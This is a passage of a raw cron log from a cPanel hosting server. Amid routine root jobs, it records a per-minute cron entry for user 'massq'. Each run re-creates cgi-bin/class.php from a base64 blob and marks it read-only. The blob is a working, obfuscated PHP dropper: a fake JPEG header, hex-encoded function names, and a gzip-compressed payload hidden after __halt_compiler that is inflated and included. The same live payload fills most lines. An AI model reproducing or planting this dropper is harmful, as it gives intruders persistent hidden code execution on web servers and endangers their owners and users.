ik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:57:01 server CROND[31919]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 14:57:01 server CROND[31920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:58:01 server CROND[32092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:59:01 server CROND[32170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:00:01 server CROND[32244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:00:01 server CROND[32245]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 15:00:01 server CROND[32246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:00:01 server CROND[32247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:01:01 server CROND[32380]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 15:01:01 server CROND[32381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:01:01 server run-parts(/etc/cron.hourly)[32380]: starting 0anacron
Apr 10 15:01:01 server run-parts(/etc/cron.hourly)[32394]: finished 0anacron
Apr 10 15:02:01 server CROND[32475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:03:01 server CROND[32641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:04:01 server CROND[32728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:05:01 server CROND[363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:05:01 server CROND[364]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 15:05:01 server CROND[362]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:05:01 server CROND[365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:06:01 server CROND[494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:07:01 server CROND[574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:08:01 server CROND[743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:09:01 server CROND[814]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 15:09:01 server CROND[816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:10:01 server CROND[888]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 15:10:01 server CROND[889]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
